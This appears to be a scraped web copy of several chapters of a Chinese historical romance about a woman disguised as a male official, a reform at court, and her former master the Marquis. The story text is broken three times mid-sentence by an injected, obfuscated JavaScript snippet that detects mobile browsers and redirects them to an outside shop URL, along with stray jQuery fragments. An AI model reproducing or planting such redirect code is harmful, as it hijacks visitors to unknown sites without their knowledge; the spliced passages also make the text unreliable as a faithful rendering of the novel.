初学清知道,他是裴霁曦的贴身小厮,轻风。想当初轻风还教过她识字,轻风没别的缺点,就是个话痨,当初学字的时候她没少受这折磨。 于是她打住轻风的客套:“敢问侯爷在何处?” 轻风这才止住了话头,带她去见裴霁曦。 她踏着脚下的青石板,合着心跳的节奏一步步走近府中。这是曾经困住他的府邸,裴霁曦将她从这牢笼拉了出去,给过她片刻的自由。 即使今晨见过裴霁曦,可她此刻再见还是难掩内心忐忑。 绕过前堂,堂内弥漫着久违的松木香味,这是她曾经最喜欢的味道,旧日也经常为他燃这种香,没想到他现在还延续着这个习惯。 轻风一路带她走进庭院,裴霁曦就坐在八角亭中,亭角挂着几盏灯笼,烛火微幽,和月光映衬着照亮亭中石桌,他手中不知拿着什么东西忙活,见她来了,起身放下手中工具。 轻风将人带到,就识趣地离开了。 她稳住心神,也未作寒暄,直接向裴霁曦深深一拜:“侯爷,现值变法关键时期,幸得侯爷回京相助,可微臣愧对侯爷,让侯爷也担上了这变法的凶险。” 裴霁曦走上前来,轻搭她手肘想要她不必行礼,可初学清却仿似不愿他靠近,后退了几步,又直了直身:“侯爷,您此番入京,恐怕不只是苏大人想要借您来保自己。” 顿了顿,她又道,“今日聚众闹事的人群如何在从未见过您的情况下,听到定远侯封号就停止闹事,这不可能仅仅是您的名号的作用,更是因为……因为他们在等着您的到来,只有您到了,他们才会停止闹事。” 裴霁曦垂眸思索,初学清见他不语,鼓足勇气又继续道:“只要您入京了,面圣了,上方才能把变法之事和您捆绑起来,这样一来,变法成功,是陛下治国有方;变法失败,是定远侯伙同朝堂重臣意图……” “不必说了。”裴霁曦忙打断她。 初学清这些话可谓大逆不道,她明明可以隐晦地提醒裴霁曦,可她在他面前,不知怎的就想把最严重的后果剖析给他。 变法是她的道,不是裴霁曦的,如果前路凶险,她想自己走,走出来,是康庄大道,走不出来,就是她自己的荒漠,而不想拉任何人进来,尤其是裴霁曦。 裴霁曦背过身,慢慢走向亭中石桌,石桌上散乱着刻刀和锤子,一块刻了一半的石头,上面深深浅浅几道刻痕,尚看不出刻的是什么东西。 裴霁曦望着那块石头道:“学清可知,我与苏大人虽有舅甥之名,但我母亲早逝,来往其实不多。而此番来京,初侍郎所说的后果,我皆已心明。” 初学清定定看着他,忍住胸中涌出的心疼,轻声问:“那侯爷为何只因为苏大人的一封信,便愿意担这变法之责?” “不是因这一封信,”裴霁曦转过身看向她,“是因为这变法之道。” 初学清微抿薄唇,语音轻颤:“侯爷可知,这变法是何道?” 裴霁曦目光幽远,似在回忆什么:“世人看这变法,看到的是对官员的考绩,对世家的打压,可我看,是这世间公平道的雏形。” 初学清眸光一滞,愣愣地看着这个熟悉又陌生的面庞,她以为少年的意气早已从这饱经风霜的脸上消失,此刻却分明看见那个执拗的少年渐渐浮现。 裴霁曦继续说着:“学清所拟变法,虽对学子提出了更高的要求,但也给了寒门更多的机会。虽对官员考绩更加严苛,但也是公平论之。可我之所以愿共担这变法之责,实乃有更多的期望。” 初学清轻语问:“侯爷所期为何?” 裴霁曦坚定道:“愿这世道,不以男女、贫富、地位论人,人之所选,乃心之所向,非世俗约束;万象所偏,乃人之所予,非外物而定。” 初学清心中震撼,仿似有一湍激流在胸中不断拍打。她所一直追求的道,就这么被裴霁曦一语道破。 想她跨越了多少光年来到这里,却一次次被这世道所累,为奴者,生来卑贱;为女子,所在方寸;为寒门,官路狭窄。所有这一切的不公,她都在这世道经历过。 她一直所期待的,不就是公平二字么,人能够随心选择,不因是女子只能困在后院,不因是奴隶就轻贱自己。这世间的资源,能够为所有人共享,对一个人的衡量,不因外物判断,只因为他自身的努力和付出。 她曾以为,裴霁曦不会理解这些,他永远会带着这个时代的烙印,即使偶尔超越常人,也不会做到极致。 因此她逃了,不是逃离他的身边,只是奔向自己心中的道。可未料,她换了个身份,竟然能得到裴霁曦的理解与认同。 可这道之所向,前路昏暗,她又怎么忍心让他同行。 她垂眸掩饰内心的不安,无奈道:“下官,可能会有负侯爷所托。” 裴霁曦轻轻摇头:“学清不必过谦。未见初侍郎之时,我已从变法之中窥见你的为人,进京后又闻你对夫人的爱重与对小厮的体恤,便知这个道,必须由你走出来。” 初学清默默紧攥手掌:“可是侯爷,下官不仅仅是苏大人的学生,更是……”她心中一狠,继续道,“更是景王的幕僚。苏大人对此并无所知,望侯爷莫要误解了苏大人。” 在暗卫问她裴霁曦的行踪时,她心思紊乱没有深思,可细想就知,裴霁曦的入京,不仅是建祯帝的算计,苏大人的托付,更是景王所愿。 建祯帝希望有人来背变法的锅,顺便挫挫定远侯的锐气;苏远达希望有人来保护他们,让这变法有个强有力的后盾;而景王,希望裴霁曦和变法捆绑起来,等同于与初学清捆绑起来,这样裴霁曦就默认在争储中为他站位。 所有人,都把裴霁曦当作定远侯,当作一个可以挡刀的盾牌,没有君臣之义,没有舅甥之情,只有一个身份而已。 她以为的一腔正义,只不过是别人的苦心经营。 初学清知道自己不是一个合格的幕僚,为了让裴霁曦退出,她不得不把最后的底牌亮出来。 裴霁曦沉默须臾,问道:“为何要卷入储位之争?” 初学清垂头,低语道:“行路艰难,需有助力。”她无法告诉裴霁曦她因身份带来的不便,还有寒门在朝堂之中的艰难,即使她有这个本事做到更好,但若没有景王的暗中助力,她也不可能爬到如今的位置。 空气中的松木香萦绕鼻间,夏夜的蝉鸣让这良久的沉默不那么寂寥,初学清的汗水浸透了裹胸,她轻轻呼吸,生怕自己呼吸重了会破坏裴霁曦的思绪,她仿若等待审判的犯人,忐忑地期待着结果。 夏夜微风拂过,吹散桌上的石屑,莹白的石头初见雏形,隐隐约约,是六角的形状。裴霁曦拿起石头摩挲,边角还有些尖锐,可他手指上有常年练武的厚茧,并不觉得疼,反而不断摩挲这石头,让他的心越来越静。 良久,裴霁曦轻轻长叹一口气:“初侍郎所行之道,本侯愿倾囊助之;但上位者所争,非我所愿,但若不妨大道,我亦可视而不见。” 初学清也不知道这是否是她期待的结果,她既想要裴霁曦远离这纷争,但内心某个昏暗的角落又仿似因别人的理解而得到了些许宽慰。 她也深知自己无法劝动裴霁曦,便冲他郑重一拜:“愿不负侯爷所望。” 其实裴霁曦也知道,既然初学清已经站队,而他要想支持这变法,又怎么可能真正置身事外。不过他现在本身也并没有什么可担忧的人或物,心愿唯有这世道能够如他所期。 * 翌日,初学清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591052|143224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的过敏症状已然好了大半,她本犹豫是否要上朝,可恩师告假,只有她能代表吏部上朝。 她猜测裴霁曦定然不会在早朝时面圣,便谨慎地露出稍显泛红的脸,毕竟上朝肯定是不能带帷帽的。 关于昨日学子闹事之事,刑部意料之内地把责任推到了变法之上,毕竟刑部尚书张德雍可是世家大族的代表。 御史盛道文又参了初学清一本,用他一贯出色的文笔,道尽这变法带来的的人心惶惶。 其实盛道文也是苏远达的学生,但是自从进入官场,就成了御史台御用的笔杆子。苏远达曾说过他最出色的两个学生,一个是能做得好诗的盛道文,一个是能做得好事的初学清。 那年可靠,苏远达两个学生,盛道文考取状元,初学清则被钦点探花。 盛道文并非针对变法,他只是本着御史的职责就事论事,担忧变法动荡带来朝局不安。 初学清耐着性子听完盛道文的奏本,结束时,回问道:“敢问盛大人,这奏本为何人发声?” 盛道文答:“自然是本就为课业所累的莘莘学子,难道变法所加的公务学习不是更让寒门学子没有出路?他们本就没有渠道习得这些。” 初学清又问:“不知盛大人可有仔细看变法条陈,学府中增加的实务课业,不就是他们学习的渠道吗?” 盛道文正色道:“纸上谈兵,又怎敌身体力行,他们毕竟没有身体力行的机会。” 初学清淡然一笑:“没有纸上积累,又何来征伐的战术?兵书就是战争的实务课业,难道将士可以不用学习兵书吗?” 盛道文正欲反驳,刑部尚书张德雍站出来道:“就算科举加道科目是为了选官,可为何举荐制上也颇多掣肘?” 初学清继续道:“张大人也说了,科举增加了科目,为向寒门学子证明变法公平,举荐为何不能增加科目呢?” 刑部尚书张德雍颇为不满:“初侍郎寒门出身,自是不明白世家与朝堂安稳之间的关系,动了举荐制,就动了世家,但变法动的不仅仅是世家,更是这朝堂的根!” 初学清提高声音,正色道:“庙堂之高,管的是天下之民;既然有管天下之民的职责,这庙堂之根,在天下之民而不在世家大族!” 张德雍除了是刑部尚书,更是张贵妃的兄长,二皇子贤王的亲舅,为人向来不可一世,以往苏远达在朝堂上,他看在对方是建祯帝近臣也就忍了,孰知这小小侍郎也敢如此态度,正要发怒,就听建祯帝重重咳了两声,张德雍摸不准建祯帝态度,这才止住了声。 建祯帝扫视一圈群臣,道:“看来诸卿对变法主要的争议,在于科举和举荐制增加的科目,那考绩方面诸卿可有异议?” 因考绩涉及到的更是群臣本身,苏远达以前就拿考绩的事情堵过他们,谁说考绩严格,就是在说自己为官不行,禁不得考绩,因此群臣此时都静默无声。 “那关于科举和举荐的事情,待苏尚书病好后再议,考绩的事情,就此定了,莫要再议。”建祯帝抚扶额头,接着道,“朕乏了,退朝吧。” 众臣往外走的时候,满头白发的礼部尚书余佑戚跟上初学清,走在她身旁道:“初侍郎,苏尚书身体可有大碍?” 余佑威是两朝元老,也是这朝堂上年龄最大的人,他老来得女的小女儿是苏远达的续弦,苏远达夫人去世后,建祯帝为安抚苏远达,暗示了余佑威,余佑威便将小女儿嫁给了苏远达。 好在苏远达颇得建祯帝看重,他女儿也不算低嫁。 初学清思索片刻,回道:“恩师身体尚需静养,好在若保养得当,身体应无大碍。” 她和余佑威正寒暄着,又听到有官员悄声议论:“听说定远侯进京了,可他竟未第一时间面圣,实在有失体统。” 余佑威听到此话,不禁也点了点头,虽说定远侯军功卓著,但亦是臣子,礼法不可废。 初学清看着小心议论的人们,忍住没有辩驳。早朝时未见有御史参裴霁曦,只敢在此悄声议论。裴霁曦请安的折子早就递上去,什么时候觐见,端看建祯帝的心思了。圣心难测,可这议论,都只能堆到裴霁曦身上去。 5. 第 5 章 初学清走出皇宫,正要去寻自己的轿子,身旁路过一位同僚,工部尚书邱顺,借着和他道别的功夫,悄声对她说,景王在前方的平鲁巷中等她。 邱顺也是景王的人,只是景王蛰伏,邱顺明面上,仍是东宫近臣。 初学清和宋久说了让他自己先回,便绕了几个弯,走向平鲁巷。 巷中停着一辆普通的马车,初学清看见前方熟悉的赶车人,便知这是景王在等她。 上了马车,她屈身和景王行了礼,便坐在他身侧。 马车缓缓行驶,景王脸上浮着一贯的笑容,温声道:“煦明,昨日可见了定远侯?” 初学清从容道:“昨日在恩师府上见到定远侯,草草陈述了下变法条例,定远侯对变法甚是赞同。” 景王看初学清的神色并无异常,便问:“那他可认出了你?” 初学清垂眸道:“昨日微臣身体不适,有些许过敏,故戴着帷帽,定远侯并未认出。” 景王闻言,身体微微前倾,道:“还是小心为上,避免过多接触,毕竟现阶段越多人知道你的身份,对你越不利。” “微臣明白。” 景王接着问道:“你可知定远侯准备何时面圣?” 初学清心中一颤,昨日明明她已经向暗卫回答了这个问题,这定是景王知道了昨晚她又去拜会了定远侯,所以又问一遍。 她面色如常,稳住心神,回道:“定远侯已经递了请安折,但并未提及何时面圣。” 景王略一沉思,看向初学清:“你冰雪聪明,应当已经想到,本王如今需要定远侯的支持。”顿了顿,语气有所放缓,“本王知你心中所向,可你又是否知道本王所愿?” 初学清抬眸看着景王,想到初逢时的一见如故,想到这么些年的暗中相助,因他算计裴霁曦所引起的不快也渐渐沉淀。 景王见她车沉默不言,便继续道:“太子乃本王一母同胞的嫡兄,本王如今辅佐太子做事,可事事都要太子允肯方可行事,太子为人……你也了解。” 初学清陷入沉思,太子才华平平,对朝政更是无甚了解,可太子是已故皇后长子,建祯帝倚重太子,将景王这个亲弟放在太子身边也是为了辅佐太子,但建祯帝对景王并未放权,想来也是有所防范。 “母后生我时难产而亡,父皇有所怨怼,都可以理解。”景王垂头轻道,“可如今二哥贤王也因张贵妃得宠,与太子渐有敌对之势,朝中更是波云诡谲,本王必须争取定远侯的支持。” 初学清目光澄澈:“微臣不知定远侯是否会涉入皇储之争,但微臣的立场绝不转移。” 景王淡然一笑,点头道:“本王亦如是,争储不是为了权柄,而是为了太平盛世。” 初学清心中微撼:“殿下,自打您重用微臣,我便知殿下是位明主,不会因身份、地位看轻一个人,微臣所向往的世道,也唯有跟着殿下才能实现。” 景王定定看着初学清:“你心之所向,亦是本王所盼望的。这世道有太多不公,像本王王妃那样的大才,也只能借着男人的名号推出自己的画作,煦明这样的好官,却不得不女扮男装,不做到那个位置,又怎么改变这世道呢?” 景王妃崔溪是一位丹青好手,却只得取名“山水居士”来推出自己的字画,初学清初闻此事时,也颇有惺惺相惜之感,更加让她对景王另眼相看,哪个皇子的妃子能有此自由,也是罕见。 初学清从未怀疑过景王心中的道,从他对王妃、下属乃至仆人的态度,很难想象他是一个养尊处优的王爷。 * 同一时间,在东青街上的仁道医馆,桑静榆即将迎来一位不速之客。 裴霁曦站在仁道医馆门口,望着店铺的招牌上“仁道”二字久久不语。 他身旁的小厮轻风打破了他的沉默:“侯爷,咱们这都找了这么多奇女子了,都不是那位,虽说仁道医馆的桑大夫是位离经叛道的女子,可她已经成婚啦,您昨不才见了初大人么,就算桑大夫是那位,您又能如何呢?” “不必多言。”说着,裴霁曦迈步踏入医馆。 他向门口的小厮指名要桑大夫诊治,便有人引着他去了内间的诊室。 他撩开门帘,却一时未敢抬眼,直到听见桑静榆的声音:“敢问这位公子是何处不舒服?” 不是她的声音。 他微一抬眸,看向桑静榆,眼神中难掩失望,稳了稳心绪,坐下道:“我的姑母身有旧疾,听闻桑大夫擅为女子调理,想让桑大夫看看她日常调理的方子,可有不妥之处。” 桑静榆看着眼前气度不凡,相貌堂堂的男子,微微愣怔了片刻,想起了初见这人时,她还是女扮男装的大夫,这人想必是认不出自己的。才道:“我虽擅于此道,可未见病患,又如何开出合适的方子呢?” 裴霁曦沉思片刻,又道:“我姑母远在边境,以往过度劳累,也受过外伤,积劳成疾,实在不宜长途跋涉,烦请您先看看这方子。” 桑静榆接过方子,看了须臾,道:“这方子,倒不像是给妇人调理用的,像是给受过伤的将士用的。” 裴霁曦本是以姑母的事做借口来问医,可未曾想到这桑大夫竟是真有些本事的,这才道:“的确,我姑母曾从过军。” 桑静榆叹道:“难怪,不过我未能诊脉,实在不敢妄言,此方虽好,但药效过猛,适合男子,我为您稍微调两剂药,您拿着方子让能为她诊脉的大夫看看,是否合适。” 裴霁曦起身对桑静榆道谢,末了又道:“初夫人不畏流言,悬壶济世,实乃奇女子也,在下佩服之至。” 桑静榆瞥了他一眼:“公子知道我夫家?” “在下乃初侍郎同僚,听初侍郎提过,初夫人医术高明,顾前来为姑母求医,果然不虚此行。” 桑静榆听见“同僚”二字,险些没忍住轻嗤出来,虽是隔了七年,可只一顶帷帽,就认不出自己的枕边人,实在可笑。 把方子递给了他,便低头不再言语。 裴霁曦不知自己哪句话得罪了桑静榆,可能是正在坐诊,不愿提及夫家,便忍着疑惑告了辞。 他出了医馆,吩咐身旁的轻风:“让人把这方子快马送至勐城给姑母。”顿了顿,又问道,“可知现在有几方人在打听我何时进宫?” 轻风接过方子,回道:“这可太多了,宫里有人打听,昨日苏大人不是也问您来着么,还有贤王那边,贤王可不希望有人来支持变法,变法对世家不利,他背后可是张家。” 裴霁曦打断他:“可有景王的消息?” 轻风愣了愣,答道:“景王不是太子的人么,太子那边好像没有动静啊,太子本就不怎么热衷于朝政。” 裴霁曦凝眉思索道:“看来我们的暗线该增加了。” 轻风恍然大悟:“小的这就看看能否往景王那边加人。” 建祯帝迟迟未召他进宫,他这个藐视君上的罪名怕是已经传遍了,可谁人又能知,他这请安的折子早在进京时就递上去了呢。功高盖主,欲加之罪,他这个定远军主将,恐怕也安稳太久了,让陛下忌惮了。 待这留言传了个彻底,各方势力的期盼,也是该有个结局了。 *

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591053|143224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 戌时,夜幕降临,夏夜的蝉鸣衬得夜晚更加寂静,漫天的繁星仿似预示着明日的又一个晴天。 初学清方从官署回府,便被桑静榆拉进内院卧房,小蝶见状红了脸,忙为他们关门。 初学清看着小丫鬟着急出去的身影,便知这小丫鬟是想得多了,不禁哑然一笑。 桑静榆拉着她坐在外间塌上,问道:“你可知今日谁来医馆了吗?” “去医馆的,当然是病患。”初学清笑着答道。 桑静榆憋不住了,口中急道:“可不是一般的病患,是定远侯。” 初学清愣怔地看向她。 桑静榆又道:“那厮还说是你介绍她来我的医馆的,真是恬不知耻。” 初学清不禁握紧桑静榆手腕,问道:“他可是有何不适?” 桑静榆瞪大双眼看着初学清:“呵,你可是在担心那厮?放心吧,祸害遗千年,他好着呢,中气十足,身强力壮的,活个百八十年不成问题。” 看到初学清微微放松下来的肩膀,和轻轻松开的手,桑静榆恨铁不成钢道:“瞧瞧你这幅样子,他可是后来又娶了夫人的,能对你有多深情。” 初学清轻语:“你想多了,我只是想定远侯对边关如此重要,身体不能有损。” 桑静榆无奈道:“他不会有损的,倒是损了你不少,你身上的寒症,不就是喝避子汤喝的!”看到初学清垂下的眼帘,她也知道自己口不择言了,忙转移话题,“他此次是为他的姑母问病来的,他姑母应该就是舞阳将军吧?看方子应该是因为早年征战落下病根。” 初学清抬眸,担忧道:“那姑母可有大碍?” 桑静榆微微抬眉:“那可是他姑母,你也叫姑母?” 初学清叹道:“别纠结这一两个词的用法,你可给他开了方子?” 桑静榆道:“我见不到病患,无法诊脉,只得根据她原来的方子,按照女子的体质,稍作调整,最好还是得当面问诊。” 初学清沉思片刻,道:“裴家人丁单薄,姑母巾帼不让须眉,以女子之躯杀伐战场,早年征战连连,身体有损,要是能好好调理,可惜……” 桑静榆道:“我也佩服舞阳将军,要有机会,一定好好给她瞧瞧。” 初学清淡然一笑:“谢谢你,静榆。” 桑静榆拍拍她的手:“你我之间,何必言谢。对了,今晚你可还要宿在书房?” 平日初学清公务繁忙,为了不打扰桑静榆的睡眠,大多是宿在书房。 初学清道:“再过一会,叫水沐浴吧,今夜就宿在这里。” 桑静榆起身要唤小蝶,初学清忙拉住她,轻笑道:“再过一会,你没见小蝶方才脸都红了,误会夫人你要做什么呢。” 桑静榆楞了一下才反应过来,嬉笑着伸手去推初学清的肩膀:“你这个人!我可是黄花大闺女呢!” 初学清闻言,沉默片刻,敛住笑容,道:“静榆,还是那句话,如果有一天,你想和离,甚至休夫,都可以。” 桑静榆斜睨她一眼:“好好地怎么又说到这个,我逗你玩的,我一个大夫,不比你懂得多么。我现在想行医就行医,方便的很,才不要找个男人管自己呢。” “那……吴长逸呢?” 桑静榆忙道:“提他做什么,他不成亲,绝不是因为对我情根深种啊,就算有什么,也是因我抛弃他不甘心罢了。” 初学清看着她,一时没有回话。 她想要做官,静榆想要行医,只是这么简单的诉求,就已经不容于世,身为女子,为何就要被困在一方宅院。 6. 第 6 章 翌日早朝,初学清才从别人的口中得知,定远侯昨日已经面圣。 她的恩师苏远达今日也来上朝,似乎定远侯一面圣,苏远达的“病”也好了。 建祯帝俯视众臣,道:“定远侯已于昨日前来述职,只是边关纷扰,朕便允了他离京。” 顿了一下,又看着吏部尚书苏远达:“苏尚书身体可还有碍?” 苏远达答:“谢陛下关心,微臣已经大好。” 刑部张尚书瞥了他一眼,定远侯昨日刚面圣,这苏远达的腰杆就挺了起来,树大招风,有定远侯撑腰,不见得是好事。可如此一来,顺了陛下的心,这变法势必要推行下去了。窥得圣意,他今日,恐怕也不能反驳变法了。 建祯帝又道:“定远侯也很关心他的舅父,爱卿一定要保重身体,变法固然重要,爱卿的身体更为重要。”说着说着,建祯帝的语气陡然严肃,“要是爱卿出了什么事,朕该怎么向定远侯交代呢!” 苏远达赶忙下跪:“陛下英明,微臣和定远侯皆是一心为社稷,绝不敢以权谋私,变法也是为正朝堂之风,绝没有半点私心!” 初学清陡然心惊,恩师这么说,就彻底把定远侯和他、和变法捆绑在了一起,恩师这样,就不怕建祯帝忌讳文臣武将联合了? 建祯帝看苏远达下跪,道:“爱卿何必着急,定是误会朕的意思了。朕只是要你保重身体,变法之事,还要继续,毕竟,定远侯也认为,变法举措得当。” 若说以前建祯帝对变法还态度暧昧,现在他推着变法和定远侯捆绑,那变法多半是要成,只是事后清算的时候,多了个出头人。 初学清心中生凉,耳边朝臣们的争论声此起彼伏,可她已无心情再与别人辩论,她以为的匡扶正道,却成了别人借道的陷阱。 * 早朝散后,初学清随苏远达回到官署商议。 初学清心中不解,便问苏远达:“恩师何以在早朝那样说,若陛下误会定远侯结交文臣,拉帮结派……” 苏远达嗤笑一声:“煦明以为,为师不怕陛下误解吗?” 初学清心中烦乱,一种莫名的猜想渐渐浮上心头,却又不敢承认:“对定远侯而言,本可不蹚浑水。” “你以为,这次浑水他不蹚,下次他就避得过去吗?左右陛下需要一个契机震慑他,我需要一个契机推行这变法,何不遂了陛下的愿。” 初学清不可思议地看着苏远达:“恩师为何如此?定远侯也是您的外甥!” “他是我的外甥,更是大宁的定远侯。在十多年前,边疆太平时,陛下就对定远军颇有忌惮,老侯爷不得不把家眷送往京城,以保军权。要不是边疆战事频发,子煦还会被困在京城。” 这些初学清知道,她也曾随裴霁曦在京中生活过将近一年,晓得那时他踌躇满志却无处施展的苦闷。 苏远达继续道:“现下虽然北狄西羌虎视眈眈,定远军动不得,但陛下若是想给定远侯错处,还愁没有把柄吗?我也是顺势而为,若经此事,能推动变法,不是两全其美吗?” 初学清压制住心中的颤抖:“可一旦陛下让定远侯和变法捆绑,变法成了,定远侯又何去何从?” 苏远达正色道:“变法成与不成,不在于和谁捆绑,更不在于最终实施变法的人是升是贬。哪怕最终我们都被贬,被罢黜,只要变法条陈得以实施,又有何所谓?” 初学清还想说什么,可又不知如何反驳。 苏远达又道:“变法之路,一向如此。前朝官员冗余,前朝首辅李长明推行变革,精简机构,最终官员得以裁撤,变法得以施行,但李长明却被罢黜,甚至被暗杀。煦明,你心中可有畏惧?” 初学清愣了一下,眼中又恢复清明,答道:“学生在提出变法时,就已经预料到了后果。” 苏远达大笑两声,拍了拍她的肩:“你放心,有为师在前,不会让你变成第二个李长明。也正因为我和定远侯的关系,这个变法人,必须是我,陛下才会允许。” 初学清声音微颤,低声问:“那定远侯可知这背后之事?” 苏远达从案头翻找出一封信,将信递给了初学清:“你自己看看吧。” 是裴霁曦写给苏远达的信。 信上不仅对变法颇多赞许,还说到了,古来变革多有牺牲,若此次变法需要祭旗人,他当仁不让。 初学清拿信的手止不住颤抖,她轻轻放下信,用大拇指的指甲用力地掐着食指,方能平稳一些情绪。 “恩师可知,定远侯何时离京?” 苏远达答道:“今日便走。” 初学清急问:“今日何时?” “看时辰,现在应该是要出发了。” 初学清忙辞别恩师,往侯府奔去。 * 初学清到了侯府门口,甚至忘记担忧自己没戴帷帽,会不会被发现,一门心思想着他要离京,可看到紧闭的侯府大门,才意识到可能晚了。 可心中仍有隐隐不甘,上次分开之时,他们就没有道别,这次分开,哪怕以吏部侍郎和定远侯的关系,是不是应该好好道别一次? 她又奔向城门,炎热的夏日让奔跑中的她有些喘不过气,束胸勒得太紧,紧到她能清晰地感受到自己的心脏,正大力地敲打着心房。 脚下的路太长,只恨自己不够快,来不及送别。 她的道,她来做祭旗人,不要别人,更不要裴霁曦。 终于到了北城门前,仿佛隔着人群看到了定远侯的车马。 这才开始忐忑,她想用吏部侍郎的身份,可他一定一眼就看出她原来的样子。 守城将军和她熟识,她利用身份便利,上了城门楼。 可以看着他离开,也是道别吧。 她看着裴霁曦的背影,依旧那么宽厚,笔直,仿佛能承载这苍穹的重压。 看着他和轻风低语,隔着太远,眉目模糊,可她却又从模糊的眉眼中,看出了久违的温暖。 看着他翻身上马,可并没有立即扬鞭,顿了顿身形,又回望京城。 突然有那么一丝侥幸,如果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591054|143224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在他回望的目光中,能看到自己,是否他们还有别的可能。 可他没有,只是回望了一瞬,就转头出发,奔向他的战场。 初学清一直看着前方,目光仿佛穿透人群,越过消失的地平线,跟随着心上人,一路向北。 终于还是走了。 她本该是庆幸未被发现身份,终于可以不必提心吊胆。 可心里莫名的虚空,就如那年绞尽脑汁离开他后,竟没有得偿所愿的痛快,反而充满空虚带来的浑浑噩噩。 * 夜色朦胧,弯月诉说离愁,却被薄雾所扰,繁杂的星子搅乱夜空的寂静,夏夜的蝉鸣躁动不安的人心。 夏夜热气带来的烦闷压着初学清有些喘不过气,可谨慎的她在自家院子也不敢拆了束胸。 太厌恶夏日了,尤其是女扮男装之后,为什么不能一直是冬呢。 本想去酒馆买个醉,可自打上次买醉碰见吴浩轩,她又怕被有心人看见做文章。于是她只得在自家院子的石桌上,对月独酌。 烈酒微辣,还带着一丝苦涩。 但是烦闷时,她喜欢酒醉后头脑发懵的感觉,只因大多时候太过清醒,不能停止思考,只有借着酒醉,放空头脑。 桑静榆的脚步声打破了蝉鸣的节奏,她坐到初学清身旁,道:“又喝闷酒?” 微醺带来的麻木让初学清反应有些慢,很久才挤出“嗯”的一声。 “从医者的角度呢,我还是建议你别喝。”桑静榆叹气道,“可你这个人,又没什么喜欢的物件和事情,难得酒能让你透口气,身为妻子,我也就不管你喝酒了。” 初学清仿佛才反应过来眼前的人是自己名义上的妻子,提起嘴角,露出个有些迷茫的笑容,囫囵着声道:“我就再喝一点,静榆先去休息吧。” “你呀你,我看那定远侯待人冷淡,你看着和他不一样,实际上你才是冷得很!”说着压低了些声音,“我虽不是你夫人,但好歹也是你密友,有什么烦闷和我也不说,憋死你!” 初学清张了张嘴,又没说什么。那个人冷淡?不,冷淡只是他身为将军的外壳,她知道那冷淡的面具下藏着怎样的温暖。 不像她,看似温暖,脸上永远挂着和煦微笑,可内心一片苍凉。 有了亲如姐妹的闺蜜,有了志同道合的战友,有了为之奋斗的事业,可她还是觉得孤单。 桑静榆又道:“你莫不是在想念定远侯吧?” 初学清愣了一下,须臾又摇了摇头,仿佛要坚定这个答案,摇头的力度还有些大。 “呵,死鸭子嘴硬。”桑静榆看她半天不开口,拽了拽她的衣袖,“要不,你给我讲讲你们的事吧,你从来也不讲,憋在心里会闷坏的,不如同我讲讲,你怎么就做了他的通房丫鬟呢?” 初学清没有回答,她醉酒后,脑中有些混乱,理不清楚,尤其是桑静榆还想让她讲那么长的故事。 太长了,长到她回忆起来,都觉得累。 但依旧记得,是从一个冬日的初雪开始的。 7. 第 7 章 建祯十三年,深冬的冷风肆无忌惮地扫过地上零星的落叶,清晨的寂寥被鸡鸣打破,京城定远侯府上,各个院子的下人已经开始了一天的忙碌。 定远侯府是刚从北境邺清举家过来的,定远侯功高盖主,而北方局势又渐趋稳定,此次建祯帝下旨让定远侯家眷从邺清来京,可能含着些许为质的意思。 丫鬟仆役大部分是从京城采买的,经过三个月的训练,现在做事也算井井有条。 定远侯府人丁稀少,定远侯的兄长未曾娶妻就牺牲在战场,定远侯发妻早逝也未曾续娶。定远侯和其妹驻守边疆,只有老太君和定远侯妾室李氏以及一名庶女裴雨檀先行来京安顿,而定远侯的唯一嫡子裴霁曦则晚些来京,近日阖府都在为世子的到来做着准备。 灶房里,粗使丫鬟初雪晴正在往灶台里填柴,她面相柔和,眸若清泉,睫毛似黑绒一般,眉似黛浓,鼻子细巧挺秀,纤巧的唇稍显干裂。 她的手背上已经生了好几个冻疮,手指又不小心被木柴扎进了刺,不过她也顾不上仔细挑出来刺,之后还有一大堆活等着她。 她是三个月前被采买进府的,今年仅仅13岁,以前是因为饥荒没了家人,又在人牙子手上辗转了好几手,身上也是瘦骨嶙峋,直到进府了,才能够得上温饱。 在定远侯府挑人之前,曾有青楼的管事来挑人,她为了避免被挑,从垃圾中捡了别人吃剩的桃核,蹭到脸上,如她所料过敏了。 管事的一见她红肿的面庞就嫌恶地跳过了他。本就成了最低贱的待宰羔羊,她还是想在自己能力范围内,选择最好的出路。 本来也是轮不到她进定远侯府的,但是实在是定远侯府要得急,不好从别的地方调人,这一批丫鬟里会说官话的也不多,都操着浓重的乡音,所以即使她这般瘦小的也被挑了进来。 到了府中,主子为她取名冬雪。 添完柴,今早送菜的伙计来到后院了,厨娘刘大娘让她去看看然后把早晨用到的菜洗干净。她忙去后院,清点完菜,发现少了卤水豆腐。 